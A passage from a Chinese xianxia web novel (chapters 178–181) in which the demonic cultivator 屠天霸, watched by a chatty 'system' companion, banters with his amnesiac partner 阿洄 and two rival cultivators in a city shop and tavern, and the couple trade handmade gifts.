最恼人的是,他分明不想被这人摸,却忍不住暗暗琢磨着自己被摸时的滋味,心里仿佛爬满了蚂蚁,痒得够呛。 所以说,他才不愿意让这人摸自己呀! 屠天霸枕着上臂,微微抬头,翻白眼似的盯着男人好半晌,然后把脸埋入自己的臂弯里,闷声应道: “哼,我又没聋。” 阿洄默了默,很谨慎地提出要求, “……你可以看着我,再说一遍吗?” 话罢,就听砰的一声。 少年满脸不快地直起身子,另一只手怒拍桌案,扬声告诫道:“不要仗着我有点喜欢你,就对我指手画脚,还吩咐我办事!” 阿洄沉默,拇指轻而快地搓了好几下。 随后,少年嘴里哎哟哎哟地叫唤着,一下子瘫回了桌上,阿洄自己的脸皮也泛着一层薄红。 两人分明只有那么一小片肌肤相触。 很快,阿洄尴尬地收回手,忍了忍,没忍住,轻声劝道:“你…你别发出那样的声音…….” 屠天霸:“?”阿洄敛着眸,下意识地搓了搓指头。指腹仍残留着少年肌肤表面的温度。 他迎着少年的视线,暗吸了一口气,温声道:“不雅。” 屠天霸茫然。 他思索了好半晌,才明白男人是什么意思,当即恍然大悟地哦了一声,反问道: 有点凉。“……“”片刻后。 “你是嫌我丢脸吗?” 他以前也被人嫌弃过,还被夹在粗犷的臂膀间,带着风的大巴掌抡圆了落在他的屁股上,发出啪啪啪的一通响。 “你都七岁了,怎么还能光着屁股满村跑啊?!真丢你老子的脸,亏你还读过几天书!!” 不过,那已经是很久之前的事情了。 屠天霸都快要记不清了,恍惚中忆起这一画面,他顾不得生气,对男人言行的不满也近乎全消,反而好脾气地道了声: “我懂了,不会再这样了。” 好吧,其实他也不是很懂。 可能跟对方的屁股一样吧。 见不得光,怎么都不肯让他看一眼。 虽然他遇见过的魔修—尤其是擅长吸人精气的魔修,常常衣不蔽体,甚至不分场合地聚在一起交合修炼,还笑吟吟地说这是天底下最快活的事情。 “若能与尊上快活一场,属下死了也愿意。” 只不过屠天霸一心治病,拒绝了事。 奈何那魔修偏要纠缠,还往他身上偷摸着放了小虫子,屠天霸只好连人带虫地解决了个干净。 他实在不明白双修的乐趣何在。 偶然窥见,也不觉得那些画面能让人感到快活,总感觉跟他们村里野狗交合的样子也没什么差别么。 直到他看到那本书。 屠天霸惊为天人,原本对男人肉身的那股纯然的渴望似乎混入了一丝丝异样,产生了另一股很生涩的渴望。 两种渴望交织在一起。 屠天霸并不讨厌。 他讨厌狗屁仙君聂无洄。 但他不讨厌长得漂亮,说话还好听的阿洄,这种小小的嫌弃更是让他感到些许的亲切,一股难得的平和油然而生。 屠天霸顺手捞过男人的水杯,咕咚咕咚地把剩下半杯水喝光了,长舒一口气,然后情不自禁地感叹道: “我真是个善解人意的好道侣啊。” 他没有厚此薄彼,把杯子塞回男人的手中,还冲对方露出一抹难得明亮的微笑, “我现在好像更喜欢你了。” 就算阿洄心思敏锐,却也跟不上少年的所思所想所言,听到这句‘喜欢”后,他愣了愣,语塞许久。 恍惚中,阿洄的脑中闪过一道思绪。 方才少年的表情莫名透出几分复杂的悲伤,而他自己,似乎毫无所觉…… 阿洄忍不住想着, 他这样说,是不是伤到对方的心了? 虽然对方发出的声音太过…,可这屋中到底只有他们二人,况且当时是自己先动的手,对方只是太过年幼懵懂,不懂这些…… 阿洄陷入纠结,内心歉疚又多了两分。 屠天霸步伐轻快地走出客栈,每一步都悄无声息,仿佛一只踮着脚尖走路的玄色豹猫,马尾在身后甩动。 他胸前的锦囊跟着晃啊晃。 系统空间内。白色光球伸出啾啾,抚摸下巴。“曜,主角已经忘记之前要求宿主看着自己说出保证的事情了耶…….”“这不是完全被糊弄过去了吗?”“主角看上去像是会半夜突然惊醒,大骂一句‘我真该死的样子诶。” 袍盯着光屏上那个正乐滋滋逛街的少年好一会儿,忍不住揣测着, “是故意还是不小心的?” 话说这家伙到底是心机boy,还是真傻癫啊? 有种很好骗,但又很难骗到的感觉。 午后,曦光仍旧清亮。 永歌城确实比三百年前繁华了不少。 屠天霸的视线飞快略过沿街医馆,慢悠悠地逛了两条街,终于看到一家名为‘天宝阁’的阔气法器店。 入了阁,屠天霸发现这家店铺设置了数道阵法,内里空间极大,光是法器类型就分了好几块区域,种类繁多。 通讯法器是最容易炼制的法器,没有之一,只要是成功入门的炼器师就能做出这类初阶器具,因此通讯法器的价格向来是最低廉的。 一般修士不会购买。 哪怕最贫苦的小宗门也不缺这等资源。 也就一般散修有需求了。 屠天霸轻轻揉捏了一下悬挂在胸前的锦囊,慢悠悠地走向售卖通讯法器的区域。 或许是因为仙门大比的缘故,永歌城来客众多,天宝阁内也人来人往,低声交谈声源源不断。 通讯法器价格低廉,驱动条件也相当宽宥,因此屠天霸身边站了好几个未入道或是刚突破练气期的城中人,也在絮叨, “……咱们永歌城来了个出手阔绰的小少爷,你听说了吗?” “当然听说了,沿街买了一路,灵石就跟送人似的往外撒,究竟是哪个世家的小公子扮成散修来永歌城历练了?” “是啊,普通散修哪能这样逍遥。” 这时候,有人嗤笑了一声,“这不就是冤大头吗?明明只需要几百下品灵石,他却随手抛出两倍、三倍之多,不知道他是无知还是傲慢……”“哼,像这种小少爷,怕不是转眼就被人骗个底儿掉。” 那人继续道: “对了,我今早远远见过他一面,这人没一点君子气概,古怪得过了头,不仅自顾自地说着话,还抱了满怀的……”话未说完,那人冷不丁瞥见身边有个玄衣少年正一边磕着糖豆,一边睁着圆润明朗的杏眼望着自己,满脸好奇。对视间,少年还问了句, “然后呢?” 碎嘴的人想到自己刚才说了什么,心下一惊,瞳孔地震:“……”屠天霸咯嘣咯嘣地吃着糖豆,不明白身边这位大汉怎么不说了,便又好奇地追问了一句, “那傻子谁啊?” 殊不知,这句话落在对方的耳中,给那人带来了多大的慌乱与恐惧,以至于那人面色涨得通红,连忙灰溜溜地掉头走人。 屠天霸:“?” 屠天霸想了想,当即质问心魔, “是不是你做的伪装出了问题?怎么这人见了我掉头就走,还满脸惊慌失措?” 白色光球:"………" 跟我有什么关系啊! 不要动不动就甩锅给系统! 哪里有问题了?这么多年了,一直都是这个数据修改手法,多想想自己…… “咳。”听到这声带着几分笑意的轻咳,屠天霸很随意地回了头。就见一个中年男人捂着嘴站在后头,身上的灰色法衣打满了补丁,模样很懒散地冲他打了个招呼,“小医修,又见面了。” 屠天霸歪了歪脑袋,杏眼微弯, “——这么巧?” 179、Chapter 179…. 屠天霸转过身,与倚着檀香木柜子的男人面对着面,两人表情都很轻松,打招呼的语气也轻飘飘的。 系统空间内。 白色光球看着光屏上那张入镜的帅大叔脸,絮叨着, “宿主,这不是之前在仙灵广场为散修登记玉牌的那个人嘛?话说他不是妙仙宗的人吗?怎么上午还人模人样,现在就一副穷困潦倒的样子….” “诶?他该不会是怀疑你的身份,所以一路跟踪宿主到这儿的吧?” 屠天霸无声应道: “在我进门之前,他已经在里头了。” 作为时空书局的打工仔,白色光球可以说是博览群书——在修仙世界中,像这种看起来很颓废的帅大叔有很大的概率是个狠角色。 危! 思及此处,白色光球夹起电子音,甜甜地哄道:“宿主,你问问他叫什么,我可以检索一下对方在原著里有没有戏份,知己知彼百战百胜嘛.” 屠天霸也觉得是这个理。 虽说他不太喜欢这个跟自己一照面,就开始怀疑与试探自己的正道修士,但对方好歹没有真动手,屠天霸也不是来跟正道修士打擂台的。 他的目标清晰着呢。 屠天霸抬手捏了一下悬挂在胸前的赤色锦囊,感受到指下的轻微阻力,嘴角不自觉地翘了翘,宛如午后舔舐前爪的豹猫。 他随手将锦囊从领口塞进衣服里,也不顾及这样做会让衣服鼓起来一块,歪看脑袋的时候,细碎的额发在眉眼间落下一小片阴影,让那双眼眸看上去更加乌黑了。 随后,屠天霸主动问道: “啊,你知道我叫什么,我还不知道你叫什么呢……” 语气干巴巴的。 NO01觉得他比自己还像个人机。 这一小片空间的寂静被打破,中年男人挑了挑眉,从善如流地应了声, “—鄙人徐阙。” 男人话音刚落,屠天霸就听到心魔在他耳边发出一声不明其意的卧槽’,然后如数家珍地吐出了一串话, “徐阙,万法宗的长老之一,原著后期那场仙魔大战中出场的角色,虽然人家只有化神期的修为,但他是搞法阵的天才啊!可以越级打架的那种!” “仙魔大战时,他可是冲在剿灭魔修的第一战线,不惜拼上半条命也要把魔修一网打尽,简直是不要命的狠人!” 说着说着,心魔忧心忡忡地叮嘱他, “宿主,你真的要小心了,他好像很讨厌魔修来着……” 屠天霸听着这一连串说辞,同时跟对面的男人四目相对,谁都没有说话,气氛却莫名冷了下来。 就在这时候。 一个年轻修士从二楼踱步而下,身后跟了几位身穿天宝阁统一服饰的侍者,手里各自捧着大小不一的檀木盒子,看着就造价不菲。 当然了。 里头装着的法器更是价格昂贵。 年轻修士明显出身妙仙宗,并且身上的青白服饰格外精美华贵,衣摆处的重瓣莲花纹路栩栩如生。 下楼时,他腰间玉饰轻轻撞击,却掩不住那道稍显火爆又骄横的唤声—— “姓徐的糟老头子在哪儿呢?” 下一瞬。 仪态看着懒散,实则警惕着对面那名少年的中年男人嘴角一抽,忍不住先一步转移了视线,对着从身后走来的年轻修士说道: “我有那么老吗?” “你成天左一句糟老头子,右一句糟老头子,还要我给你买这买那,妙仙宗怎么就出了你这个小白眼狼?”符悦声背着手走过来,显然不拿他的话当一回事,还神情不屑地哼了一声,“那你买不买?”走近了,符悦声才看到徐阙身前的高马尾少年,五官隽秀稚气,瞧着只比自己小一些,鼻梁上那粒红痣很鲜艳。符悦声顿时坏心大起,站在徐阙身后揪了揪他的后领子,刻意用一种酸溜溜的语气作弄人,传音道: “糟老头子,你是不是就喜欢年轻漂亮的小修士呀?哼,成天粘在我屁股后面还不够?” 徐阙:"……" 这都什么跟什么。 徐阙瞥了眼几步外的玄衣少年,心中仍旧警惕,在仙灵广场遇见时,他就觉得对方不是个简单的人物。 尽管法阵没有被触发,他却觉得…… 少年的那双眼带着一种纯然的凶狠与漠然,让人不由自主地脊背发寒。 徐阙本想着仙门大比在即,谨慎些也是应当的,正要查探一番,就被妙仙宗小祖宗叫到了天宝阁,还机缘巧合地遇上了这位屠医修。 算了。 不急于一时。 徐阙暗暗叹了口气,反手捏着那只作乱的手,转身就要推着人离开,“买买买,我就这点灵石,全搭你身上了。” “干嘛这么着急,被我说中了?” “…你别乱猜。” “你急什么?难不成赶着回万法宗?” “走了走了。” 屠天霸站在原地,萦绕在心间的不悦一扫而空,圆溜溜的杏眼盯着肢体小动作不断的两人,还饶有兴致地嗑了一把糖豆。 他牙口好,咬得咔蹦咔蹦响。 屠天霸的真实修为比在场所有人高,自然听见了年轻修士的那句传音,忍不住好奇地跟心魔小声分析,“心魔,那个徐阙好像是担心我留意到他身边那个人,怕我要真是魔修,恐怕会对那人不利………” “你说他们是不是一对道侣啊?” NO01顺着宿主的视线,转向走远的那两人,也忍不住用吃瓜的八卦语气应了声, “曜,老少恋啊?“ “原著里没写徐阙有道侣啊,话说他好像都八百多岁了吧?也就是修仙世界,要不然我都想报警了,那个小修士看着十七八九的,说不定也几百岁了….” “咦,拉拉扯扯的,空气都快冒粉泡泡了,这俩指定有一腿啊!” 说到这里,N001忽然想起了什么,嘶了一声,感慨道: “不过就算是老少恋,宿主你也比他们强啦,主角可是一千好几百岁呢!” 屠天霸对这句话很受用,满意地点了点头,“那是自然。” 柜台前。 徐阙苦哈哈地掏灵石,感应到身后那道视线始终没有移开,状似随意地对符悦声嘱咐道:“回宗门去,你身体不好,别出来满地乱窜。” 符悦声不太高兴,应道: “我早就好了!今年的仙门大比我娘也准我参加了,所以我才跑出来告诉你这个好消息,你必须留下来看我夺得魁首!” 闻言,徐阙的眉头拧在了一起。 他回头瞥了眼。 玄衣少年毫不掩饰地盯着这一头,视线还在他们两人身上扫来扫去,手上还不停往嘴里塞吃食,仿佛在看什么有意思的戏码。 … 符悦声注意到徐阙的目光,一并扭头回望,也瞧见那少年,动作与对方如出一辙地在他与徐阙身上回来扫动, “你今天怎么怪里怪气的?” “他是谁啊?” 虽说符悦声从小在宗门被娇宠长大,性格有些骄横,方才跟徐阙传音时的语气听起来也酸极了,但他对那位玄衣少年还真没什么恶感,甚至有种见到同辈人的自如。 于是,他迎着少年的视线,冲人露出一抹很明媚的笑,半点不生怯。 屠天霸盯着那个从头到脚戴满了饰品样式的法器,宛如花孔雀一般招展夺目的年轻修士,心里并不讨厌,当即抬脚走过去。 在年轻修士身前站定,他径直道: “我叫屠医修,是个医修,来参加今年的仙门大比。” 少年的声线清亮干脆。 符悦声咦了一声,“你也是医修啊?我听宗门里的师哥说过,今年有个散修要跟我们医派弟子一同进入后山密林,就是你?” 屠天霸心不在焉地点点头,顺道还补充了一句, “今年的魁首肯定是我。” 不等对面的人应答,屠天霸已经压抑不住心中的好奇和新奇—要知道这还是他第一次遇见成双结对的道侣,于是,他分外直白地问了句, “你们双修过吗?感觉怎么样?” 此话一出。对面两人的表情都发生了些许变化。徐阙仍旧皱着眉,眸中半是冷静半是探究,落到屠天霸身上的视线有些冷;符悦声则是闹了个大红脸,说话也磕巴了起来。 “……啊??” “双…你、咳……你问这个干嘛??” 屠天霸真心实意地应道: “我很快就要双修了,所以好奇。” 紧接着,屠天霸自信挺胸,指着旁边让人讨厌的中年男人,得意地笑了笑, “我的道侣不仅比他还老,还长得比他漂亮哦,又老又漂亮,整个修仙界没人能比得上的那种漂亮。”白色光球:“.….”主角别听,是恶评。符悦声一愣,下意识地应了句, “徐阙刮了胡子也很漂亮的,要不然我怎么会在小时候就看上他?而且我们迟早会得到我娘的同意,正式结为道侣……也、也快要双修了!” 徐阙:“………….“ 这到底什么跟什么啊。 屠天霸听他急赤白脸地一通回怼,恍然大悟:“原来你们还不是道侣,也没有双修过啊?” 于是,他从容不迫地比了个手势, “最迟九.…啊不对,最迟八天半后,我就能双修了,果然还是我比较快,算了我先走了…”屠天霸失去好奇心,直接转身走人,就听到身后的年轻修士很不服输地唤道: “等下,走什么走!” “… 所以说, 事情究竟是怎么发展成这般模样的? 徐阙抱着胸坐在酒楼临窗的位置,百无聊赖地望着窗外景象,耳边是两个少年人你一言我一语的对谈。 夏意正浓。 永歌城中仙凡共存,修道之人不惧酷暑严寒,普通人却贪恋热夏中的一抹凉意。更何况妙仙宗弟子众多,还没达到辟谷境界的比比皆是,因此时常来到永歌城满足口腹之欲。 符悦声便是如此。 他捧着一杯加了冰的果酿,先是尝了一小口,然后眯着一双上挑狐狸眼,冲桌对面的玄衣少年道:“怎么样?里头加了菩堤果,能补充灵气,好喝吧?” 屠天霸瞧着果酿饮品表面浮着的赤色果实,仰头猛喝大一口,习惯性地将灌进嘴里的冰块咬碎,点评道:“挺好看的。” 符悦声:"?" 屠天霸此时的心情还算不错。 原以为对方喊住自己是想找回场子,不料屠天霸一回头,那个花孔雀面颊微红,吞吐着问他, “……我叫符悦声,乃是妙仙宗内门弟子,也是一名医修,既然都是参加仙门大比的道友,不如彼此交流一番。”不多时。 三人便来到了此处。 符悦声做东,掏灵石的人却是徐阙。 但无论这么说,这是第一次有人请屠天霸吃东西——魔修给的叫做上供,屠天霸放下空掉的杯子,好心地问了句,“你很穷吗?” 老实说,看着真不像。 符悦声的发簪配饰极多,腕上也叠戴了数串镯子,琳琅满目,腰间还坠着一串玉饰以及小铃铛。 全是法器,品阶还不低。 反观一旁的徐阙,俨然就是个落魄中年人模样,法衣上全是补丁,针脚还很潦草。 闻言,符悦声笑了起来,说话间还仰着下巴瞥了一眼似乎魂游天外的中年男人, “怎么可能?我娘可是…….” 话没说完,他听到徐阙对自己传音道: “小祖宗,求你嘴上把个门,别什么都往外说。” 符悦声很听话地改口道: “我娘很有钱,我当然不穷了。” 屠天霸听得一清二楚,只觉得那个徐阙传音时的语气轻柔极了,听起来怪腻人的。 像是个陈年老断袖。 紧接着,符悦声抱着徐阙的手臂,乐滋滋地道:“他也不穷啦,就是看起来一副穷酸样而已。” 徐阙:“……啧。” 符悦声戳了戳男人法衣上的补丁,解释了两句,“这都是我小时候用我娘的金蛟剪剪破的,不过我已经亲手缝好了。” 说完,符悦声撒开他的手,上身凑近桌对面的少年,音量也压低, “你看着跟我差不多大,几岁了?” 屠天霸原想说三百二十七岁,但心魔及时提醒他,“宿主,按照人设数据,你应该是刚过两百岁啦。” 于是,屠天霸就这么应了。 由于不算撒谎,所以他说得坦然极了。 符悦声眼睛一亮, “我也是!” 说完,他捋了捋鬓边的一缕长发,回想着,“你的道侣居然比徐阙还大啊?我好像没听说过,对了,你们举办过结为道侣的典礼了吗?” 屠天霸:“?” 什么?做道侣这么麻烦吗?? 他老实地摇摇头。 见状,符悦声捧着杯子,若有所思地点点头,喃喃道:“怪不得我没听说,就是不知道你道侣是谁,还是不问了,万一是认识的长辈我会难以面对的…!” “你们的身份阻碍肯定也很大吧?” “这家伙跟我娘是同辈,岁数比我娘还大,他们年轻时还一同历练过呢,”符悦声小声道,“我身体不好,因为种种原因,我娘肯定不会同意的 ” 符悦声说着说着,语气变得低落,倏然间又话锋一转,神情又明媚张扬起来了, “不过她肯定拗不过我的……”符悦声是个话唠,比心魔还能说。 屠天霸原本不嫌他吵,听着听着便觉得厌烦透顶,面无表情地站起身来,凳子被他猛地一顶,嘭地一声翻倒在地上。 他将一枚上品灵石甩到桌上,顺势又抬手抠了抠脸,语气不悦地说着, “你好吵啊,我要走了。” 跟上回不一样,屠天霸没管身后的动静径直离开,也顾不上买通讯法器,他怒气冲冲地回到客房,掏出锦囊,将里头的小人恢复原貌,还恶狠狠地道了声,“可恶,这不是输了吗!!” 他面色很暗沉地盯着脸被闷得有些红的男人,忽略了当下两人的情况,冷哼道: “我不想给你买法器了,而且凭什么是我给你买,不是你给我买?” 心魔悄然出声,欲言又止, “宿主,你理智一点啦,人家现在跟凡人没什么差别,没办法跟你传音,也没有灵石,而且你又不需要通讯法器哇,不要乱攀比…” NO01痛心疾首, “卷王这条赛道不适合你啊!” 屠天霸冷漠应道:“我不管。” 紧接着,他瞪着男人,吝尚鬼似的 细数道:“你都没有让我花过你的灵石,也没有让我剪烂你的衣服再缝起来,也没有像含了蜜一样对我说话!!” 屠天霸自认是个很严谨的人,他停顿片刻,突然卡了壳,只好悄默声地向心魔确认道:“心魔,他有父母吗?” 白色光球:“…….” 这是什么地狱问题? 最地狱的是,主角还真没有父母,他出生于乱世,能活下来全靠被归清门的老掌门捡回去,不然肯定被遍地的饥民一锅炖了。 白色光球:“……曾经有过。” 得到心魔应答的屠天霸,忍不住一掌拍向桌子,好在控制着力道,只是将桌角拍出十几道裂缝。 他更生气地抱怨道: “你怎么也没爹没妈,岂不是没有人能为我们主持双修大典,也没有亲眷能给我们祝福了吗?真是可恶中的可恶!” 白色光球:“….” 是道侣大典吧? 哪来的双修大典。 跟系统暗戳戳的吐槽不同,男人只是沉默地看着愤怒的少年,全程一言不发。 尽管阿洄被缩小塞入锦囊后无法跟少年交流,却能将外界的动响听个七七八,因此他与另外两人的交流,阿洄都知晓。 少年对他句句指责,句句不快,仿佛天生了一副阴晴不定的心肠,说甩脸子就甩脸子。 然而,阿洄盯着他愤怒的脸,听了好一通话,最后却只听懂了一句话。 ——为什么没有人爱我。 待少年气呼呼地掏出熊皮,铺在客房角落,然后整个人钻进去之后,阿洄默默凑上前,掀开一个角。 熊皮柔软,厚实,颜色深重。 少年白嫩的小脸露出来,眉眼气恼,看也不看他一眼。 阿洄抿了抿唇,挨着一个小角坐下,然后伸手将少年胸前那条用来悬挂锦囊的红绳取下来,绕在指间…… 屠天霸在后,男人坐在前。 于是,屠天霸不动声色地横了一眼男人的侧影,发现对方垂着脑袋,柔顺的头发从他肩后滑落,遮住了手部动作。屠天霸无声啐了一声贼老天。 该死,真是该死。 啐完,他蛄蛹了一下,调整着姿势。 就着这个姿势,屠天霸差点把眼珠子瞪出眼眶,才看到男人十指灵活地编绕着那根红绳,很快编出一个雏形。 好像是个结。 屠天霸蛄蛹了一下,又一下。 屠天霸躺到了男人的腿上,抬起一只手举着对方垂落到身前的头发,不让它搔弄着自己的脸,另一只手抠着脸。他憋了好一会儿,才问: 片刻后。 “你在干嘛?” 阿洄冲他微笑了一下,没吭声。 但很快,他手下的红绳彻底成了型,阿洄就着少年的躺姿,俯身将那物件系到了对方的腰间,同时轻声道了句, “平安结,我只会这个。” 下一瞬。 屠天霸看到男人将自己的袖子递到他面前,用刻意放软了的嗓音,有些含糊地冲他道: “…你要是想剪,就剪吧。” 语气很温柔,像是含了蜜。 屠天霸的魂一下子飘起来。 “撕拉——” 阿洄低头,看了眼身上这道从领口裂到腰腹间的布料豁口,又看了眼少年兴冲冲的表情,陷入一阵沉默。 ……. 算了,也没什么。 180、Chapter 180… 且不论系统空间内,白色光球看着被打了一小片马赛克的光屏,又瞥见男人对这类情况仿佛已经习以为常的平静面庞,忍不住嘶了一声,啧啧感叹: “不愧是主角,居然在这么短的时间里就习惯了癫子宿主的脑回路,在情绪稳定这方面也是大乘期水平呢……” 此时此刻。 客房里。 屠天霸仍旧保持着躺在男人大腿上的姿势,两只手分别攥着撕裂的布料,眼珠子几乎翻上了天,直愣愣地盯着某处看。 好大。 好挺。 看起来哏啾啾的。 屠天霸先是小小的嫉妒了一下,随即又变得泰然自若。 都说道侣之间不分你我,那么如此挺拔的大胸脯长在他的道侣身上,跟长在他自己身上又有什么分别呢? 虽然到底还是长在自己身上才好… 聊胜于无嘛! 最后,逻辑自洽的屠天霸心底油然生出一股莫名的骄傲,令他不自觉地笑出了声, “嘿嘿。” 然而,下一瞬。 男人沉默地将前臂一抬,原本搭在屠天霸身上的衣袖顿时掩盖住了那双快要瞪出眼眶的眸子,也阻拦了那道如有实质的视线。阿洄不动声色地呼出一口气,低声催促道:“你不是要缝衣服吗.…?” 被男人遮蔽了视线的屠天霸正打算小发雷霆,以示丈夫威严,不曾想在自己听到这一声儿之后,思绪顿时被男人带跑了。 他醍酮灌顶般地哦了一声,猛地翻身坐了起来。 白色衣袖自他脸上滑落,轻又痒。 屠天霸下意识地挠了两下脸。 他下手重,但凡挠了脸,肌肤总会留下几个指盖印,拖出的红痕更是深重,好似交错的弯刀瘢痕。 这次也不例外。 阿洄看着少年的指盖印分布于眼尾,几乎快要抠进眼睛里,忍不住抬手轻轻拉了一下他的腕,嘱咐道: “下手别总是那么重。” 屠天霸绷着一张小脸,努力克制着那股微弱的酥麻感,眼眸低垂,视线从自己那截细瘦的腕移到男人的——那儿还烙着一圈青紫的痕迹呢。 是屠天霸之前在山洞里捏出来的。 在他看来,这连皮外伤都算不上。 毕竟一根骨头都没有断。 只是当他的目光擦过自己腰间那个由红绳编成的平安结,居天霸默默合上了微启的唇,将那句‘我又不像你那么娇气''咽了下去,然后眼珠子乱飞着,应了声, “…哦。” 说完,他抖了抖自己的袖子,抖出一个阿洄很眼熟的小药盒。 屠天霸单手开了盖,随即用食指挖了一大块,动作敷衍地在自己眼周抹了两下,手指头就跑了偏,胡乱地在阿洄的腕上蹭了一圈,嘴上还吡哇乱叫,“哎呀挖多了,不要浪费,都是好材料做的药,好心疼,便宜你这个娇气包了!” 紧接着,阿洄就瞧见少年在自己腕间摸了一圈之后,一副要把脖颈扭断的架势,将脸撇向了另一侧,只用后脑勺冲着人。 少年说得不错。 药育确实都是好材料,涂抹在肌肤上传来一阵冰凉之感,他手腕上的青紫痕迹肉眼可见地消了下去….… 阿洄不由自主地微笑了一下。他唤了声,“小修。” 少年的马尾轻轻跳了两下,他没回头。 阿洄又唤了声, “小修,你回头。” 屠天霸不太情愿地将脖子扭了回来,脸上像是被人泼了地谷岩浆,经过千锤百炼的面皮变得脆弱不堪,只觉得又烧又烫。他挺起胸膛,壮大声势, “干什么?!” 话罢,他就瞥见男人单手拢着衣裳,脸上带着轻柔如风的笑容,趁他回头时,抬起另一只手摸了两下他的脑袋,夸奖道: “谢谢。” 屠天霸:“?” 他是不是忘了那道伤是自己造成的了? 这个男人好像不太聪明。 但屠天霸转念一想— 也没什么大碍。 自己已经补全了对方在这方面的不足。 想到这里,他扒拉了两下被男人摸过的头发,只觉得那股教人头皮发麻的震颤久久未消,却仍旧坚强地挺直腰板,展现自己的男子气概, “男子汉大丈夫,对自己道侣好一点是应该的,我也不是什么小气的人,你不是想要通讯法器吗?” 他手一挥,掏出一堆, “都随便你挑!” 不曾想,男人垂眸看着堆在身边的十数种法器,突然问道:“你之前不是说自己没有通讯法器,所以要外出购买吗?” 屠天霸怎么会被这点小问题难倒? “嗯,嗯…我忘记了!” 屠天霸假装很忙地在那堆通讯法器里乱刨,刨了半天都没找到合心意的。 玉简累赘、符咒丑陋、腰牌不实用。 “真该死啊,怎么翻来翻去都是些入不了眼的垃圾!” 屠天霸恶狠狠地道了声,飞快地看了眼男人,然后掏出一对流光溢彩的东珠,捞着袖子就要原地炼器, “你等着,我给你现做一个,其实我的炼器技术也很好的!” 少年的动作快得几乎让人插不上话。 阿洄一阵语塞。 原因无他。 只因他发现少年在一通堪称忙乱的动作间,还不忘悄悄戳几下腰间新系上的那枚平安结,又摸摸自己的脑袋,指尖掐着一缕额发来回揉捏。 阿洄无声地叹了口气。 不多时。 屠天霸捏着一对炼成水滴形的东珠耳坠凑到男人面前,得意洋洋地说:“因为你比较娇气,所以我特意制成了无须扎耳朵眼儿的样式,放心,肯定比那个花孔雀的耳饰好看。”屠天霸随口拉踩,忽然想起一件事,皱着眉道:“我在这件法器中注入了自己的一丝灵气,你戴上之后就能与我传音了,不过你现在没有灵气…….” 简而言之, 男人只能用过滴血的手段让法器认主。 屠天霸瞥着人,小声问: “你看到血不会又晕过去吧?”“我一个人呆着会很无聊的。” 阿洄这才彻底明白,原来先前那次昏迷让少年对自己产生了如此深刻的错觉,心中觉得好笑,却又覆盖上了几分沉重。尽管两人相处的时日短暂,他却已经看出少年是个极致纯粹的性子,倘若有人对他好一分,他便要回报三分….… 然而,他人若是对他施加以恶呢? 怕不是也以加倍之恶回报吧。 不知怎么的,阿洄的心中生出一股惋惜之情,像一块沉甸甸的石头压在他心上。 迎着少年别别扭扭的目光,他忍不住又摸了一下少年的脑袋,叹息似的应道: “不会晕的,我保证。” 下一瞬。 少年猛地反应过来,神色骤然大惊,火急火燎地质问道:“你怎么趁我不注意把胸脯包起来了?我还没有给你缝呢!” 霎时间,阿洄的叹息卡了壳。 果不其然。 下一句就是— 屠天霸:“你赶紧脱下来,等我给你缝上你再穿啊!”阿洄:.……你撕成这样,我想我真的很需要一件新衣服。”屠天霸语气空洞:“我的储物袋里没有你能穿的衣服。” 阿洄:“.……你看着我说话。” 屠天霸勃然大怒,一把将耳坠法器塞到男人手中,冷哼道:"少对我指手画脚!" 阿洄:“……乖,听话。”屠天霸的耳朵顿时酥麻了。 他抬手捂住自己的两只耳朵,唧唧哼哼半晌,不情不愿地掏出一把红绳,直往男人手中塞,却不肯说自己想要什么。 而阿洄无法拒绝那双悲伤跟愤怒扭成一团,却因一枚普通的平安结而平息的眼眸。 如果可以的话, 他想对少年好一点,尽量好一点。 “…” 但是,脱衣服还是有点…… 阿洄的手指缠着红线,交错编织,他微微颔首,目光不着痕迹地扫过自己上身的某处,心中不由得浮现一抹疑问。 —真的很大吗? 181、Chapter 181…. 最终,阿洄还是获得了一件新衣裳。 红色的。屋中沉寂。 代价是,少年的腰间挂满了由红绳编成的平安结,不仅如此,他的发带也换成了红色绳结,两只腕子更是分别叠戴了好几条手串。 阿洄的手指都快打结了。时间过去了许久。屋子里的日光变得温黄暗淡。待男人编完最后一条手串,屠天霸终于心满意足地将它戴起来,唇角翘得老高。他欣赏了好一会儿,才从袖中掏出一小片轻纱,递到男人面前,边转着眼珠子,边道:“突然想起来,这个你应该能穿。” 然而,阿洄只是敛着眸,凝视着他掌中那块几乎遮不住脸的薄纱,恍然陷入沉默。 屠天霸眨了眨眼,看出男人的表情有些不对劲,以为对方误会自己吝啬,只用一小块普通的纱布换他这么多绳结,当即鼓着脸补充道: “这可是我从某个大能秘境里找到的高阶法宝,是由天织蚕丝制成的,穿在身上水火不侵,刀剑不入,还能根据主人的所思所想变换形态,虽然我用不上,但曾经有很多修士为了它打破头哦!” 意思很明显的潜台词:这是很好的东西。你不亏。 阿洄这才知道是自己想岔了。 不料,下一瞬。 屠天霸捏着那块轻纱,在男人眼前晃了两下,一双眼紧盯着他,连声催促道:“你不是很想要新衣服吗?赶紧换上吧,旧衣服我还要缝呢,快点。” 阿洄:……. 这回应该没想岔…吧? 然而,阿洄的心绪很快转到另一处。 他看着少年手中那块天织云纱,忍不住低声道:“那些只是普通的红绳,还是你的所有物,我只不过是费了些时间将它编织成形,你不必….”屠天霸习惯性地抬手抠了抠脸侧,突然想起了什么,指下的力道放缓了,不明白男人为什么不开心,反而抿着唇,一副心思沉重的模样。 他只是很随意地应了声, “有什么差别吗?” “我也不过是费了些功夫把它从秘境里拿出来啊?怎么了,你不喜欢吗?” 说完,屠天霸撸着袖子看向自己戴满绳串的小臂,满意道:“你不是说报答要发自内心地对一个人好吗?我喜欢你对我好,所以我也……屠天霸话音一顿,意识到了不对。 男人最初给自己编了个平安结,自己也亲手炼制了一对耳坠法器回报,可对方后来又给自己编了如此之多,他却拿自己用不上的物件来回报…… 显得他好敷衍!好差劲! 可恶,真是百密一疏! 屠天霸当即攥住那片天织云纱,想要发功将它彻底毁掉,以此为自己正名,嘴里还喊着, “你等着,我先把这个垃圾处理掉,再亲手给你炼制一身,一定让你穿得比那个花孔雀还要好!!” 闻言,阿洄的表情顿时凝固。 好在虽然他的脑子失去了记忆,身体却保留着灵敏迅捷,连忙一把拉住少年高举的手,阻拦道: “不必毁掉!” 待少年看过来,他才坦诚解释道:“是我觉得这法器太过贵重……”说完,男人不自觉地抿住了薄唇。颜色淡极了。看上去没什么血色。 屠天霸的视线无意识地在那儿逗留了片刻,然后很疑惑地道了声, “你在想什么啊?“ 